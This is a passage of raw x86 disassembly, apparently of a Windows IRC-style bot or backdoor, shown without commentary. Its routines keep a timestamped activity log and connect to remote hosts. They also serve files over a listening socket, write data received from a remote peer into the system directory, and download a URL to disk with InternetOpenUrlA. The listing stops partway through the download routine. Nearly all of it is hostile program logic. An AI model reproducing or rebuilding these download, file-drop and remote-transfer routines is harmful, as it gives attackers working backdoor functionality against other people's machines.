call dword_4270B0 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415C36
push [ebp+arg_8]
call dword_427080 ; Sleep
jmp loc_4159F8
; ---------------------------------------------------------------------------
loc_415C36: ; CODE XREF: sub_4157BA+46Cj
pop edi
pop esi
mov eax, offset dword_4CF1F4
pop ebx
leave
retn
sub_4157BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DB90
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+arg_0]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E710
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43DB90[esi]
push ebx
call sub_41BF70
push 17h
push [ebp+arg_0]
push ebx
call sub_41BFD0
push 9Fh
lea eax, dword_43DBA8[esi]
push [ebp+arg_4]
push eax
call sub_41BFD0
add esp, 24h
inc dword_4294CC
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437EF0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DB90
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437EDC
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E710
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: sub_401221+384p
; sub_401221+408p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_427140 ; GetLocalTime
mov ebx, offset dword_4D35F4
mov edi, 80h
mov esi, offset dword_4CF5F4
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BFD0
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41CB70
lea eax, [ebp+var_80]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF5F4
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D35F4
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx
push [esp+4+arg_8]
push offset dword_437F3C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F28
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: .packed:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CF5F4
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0]
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E4B proc near ; DATA XREF: sub_401ACD+2844o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_437F6C
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: sub_415E4B+33j
cmp [ebp+var_98], 0
jz short loc_415EBE
lea eax, [ebp+var_98]
push eax
call sub_41C159
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415EBE
mov [ebp+var_8], eax
loc_415EBE: ; CODE XREF: sub_415E4B+5Aj
; sub_415E4B+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4CF5F4
loc_415EC7: ; CODE XREF: sub_415E4B+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp [ebp+var_98], 0
jz short loc_415EF6
cmp [ebp+var_4], 0
jnz short loc_415EF6
lea eax, [ebp+var_98]
push eax
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: sub_415E4B+90j
; sub_415E4B+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: sub_415E4B+87j
; sub_415E4B+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415EC7
loc_415F21: ; CODE XREF: sub_415E4B+82j
lea eax, [ebp+var_31C]
push offset dword_437F50
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415F5B
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: sub_415E4B+EEj
lea eax, [ebp+var_31C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_415E4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: sub_416000+33p
; sub_416563+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14 ; inet_addr
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA6C ; closesocket
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416000 proc near ; DATA XREF: sub_401ACD+A02o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_415F7A
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_416093
lea eax, [ebp+var_11B4]
push offset unk_437FEC
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416076
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_416076: ; CODE XREF: sub_416000+59j
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_416093: ; CODE XREF: sub_416000+3Fj
push offset byte_43DB88
push ebx
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4160FE
lea eax, [ebp+var_11B4]
push offset unk_437FBC
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4160DA
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_4160DA: ; CODE XREF: sub_416000+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_4160FE: ; CODE XREF: sub_416000+A3j
push 64h
call dword_427080 ; Sleep
xor edi, edi
mov esi, 1000h
loc_41610D: ; CODE XREF: sub_416000+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4CB9EC ; recv
test eax, eax
jle short loc_41616A
lea eax, [ebp+var_11B4]
push offset asc_42A080 ; "\n"
push eax
call sub_41C8A0
lea eax, [ebp+var_11B4]
push eax
call sub_419F9D
add esp, 0Ch
test eax, eax
jz short loc_41616A
push 64h
call dword_427080 ; Sleep
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jnz short loc_41610D
loc_41616A: ; CODE XREF: sub_416000+130j
; sub_416000+154j
lea eax, [ebp+var_11B4]
push offset unk_437F88
push eax
call sub_41C266
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_41619D
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_41619D: ; CODE XREF: sub_416000+180j
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
sub_416000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161C1 proc near ; DATA XREF: sub_401ACD+7696o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_41620F
push offset unk_4380EC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: sub_4161C1+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4CB9D4 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CBA00 ; bind
test eax, eax
jz short loc_41624D
push offset unk_4380C8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: sub_4161C1+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_4CB978 ; getsockname
push [ebp+var_2E]
call dword_4CB904 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41B9C0
pop ecx
loc_41627F: ; CODE XREF: sub_4161C1+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: sub_4161C1+CAj
movsx eax, al
loc_416295: ; CODE XREF: sub_4161C1+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CB9FC ; listen
test eax, eax
jz short loc_4162C8
push offset unk_437FEC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: sub_4161C1+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4162F2
push offset unk_4380A8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: sub_4161C1+125j
push esi
push eax
call dword_427114 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
push eax
call dword_4CB9D0 ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_438090
push eax
call sub_41C266
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409869
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CB9BC ; select
test eax, eax
jg short loc_4163A2
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_438078
push eax
push [ebp+var_1FC]
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: sub_4161C1+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4163DB
push offset unk_438054
loc_4163C8: ; CODE XREF: sub_4161C1+49j
; sub_4161C1+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: sub_4161C1+200j
push edi
call dword_4CBA6C ; closesocket
cmp [ebp+arg_0], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: sub_4161C1+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp+var_4], eax
loc_4163FD: ; CODE XREF: sub_4161C1+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_427128 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CBA24 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CB9EC ; recv
cmp eax, ebx
jl loc_416522
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416522
sub [ebp+arg_0], eax
jnz loc_4163F0
mov edi, [ebp+var_18]
loc_41648D: ; CODE XREF: sub_4161C1+224j
push [ebp+var_8]
call dword_427070 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416CC9
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_438028
push eax
call sub_41C266
loc_4164C6: ; CODE XREF: sub_4161C1+1DCj
add esp, 14h
loc_4164C9: ; CODE XREF: sub_4161C1+215j
cmp [ebp+var_50], esi
jnz short loc_4164EE
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: sub_4161C1+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA6C ; closesocket
loc_416506: ; CODE XREF: sub_4161C1+33Cj
push [ebp+var_1F8]
call dword_4CBA6C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_416522: ; CODE XREF: sub_4161C1+2AFj
; sub_4161C1+2BAj
push esi
mov esi, offset dword_438010
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_409869
push esi
call sub_415D38
add esp, 18h
push [ebp+var_1F8]
call dword_4CBA6C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_4161C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416563 proc near ; DATA XREF: sub_401ACD+798o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_429AC8
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_43818C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: sub_416563+81j
push eax
call dword_427070 ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_416615
push offset unk_43815C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: sub_416563+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416646
push offset unk_43813C
loc_416633: ; CODE XREF: sub_416563+88j
; sub_416563+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: sub_416563+C9j
mov esi, 1000h
loc_41664B: ; CODE XREF: sub_416563+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41DB54
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CB9D0 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: sub_416563+118j
lea eax, [ebp+var_4C4]
push offset dword_438010
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409869
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
push [ebp+var_4]
call sub_41BA3B
add esp, 24h
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push 1
call dword_4270D4 ; ExitThread
loc_416712: ; CODE XREF: sub_416563+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_438110
push eax
call sub_41C266
add esp, 14h
loc_416742: ; CODE XREF: sub_416563+DEj
cmp [ebp+var_14], ebx
jnz short loc_416767
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: sub_416563+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
cmp [ebp+var_4], ebx
pop ecx
jz short loc_416782
push [ebp+var_4]
call sub_41BA3B
pop ecx
loc_416782: ; CODE XREF: sub_416563+214j
cmp [ebp+arg_0], ebx
jbe short loc_416790
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
loc_416790: ; CODE XREF: sub_416563+222j
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_416563 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167A0 proc near ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CB984
call dword_4CB8D8 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416867
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_438358
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41684A
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: sub_4167A0+88j
lea eax, [ebp+var_510]
push eax
call sub_415D38
push [ebp+var_48]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_416867: ; CODE XREF: sub_4167A0+68j
xor edi, edi
call dword_4270B0 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_41BEB5
pop ecx
mov [ebp+var_1C], eax
loc_416881: ; CODE XREF: sub_4167A0+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4CB8E0 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_4168C5
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: sub_4167A0+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_4270F0 ; WriteFile
cmp edi, ebx
jnb short loc_416903
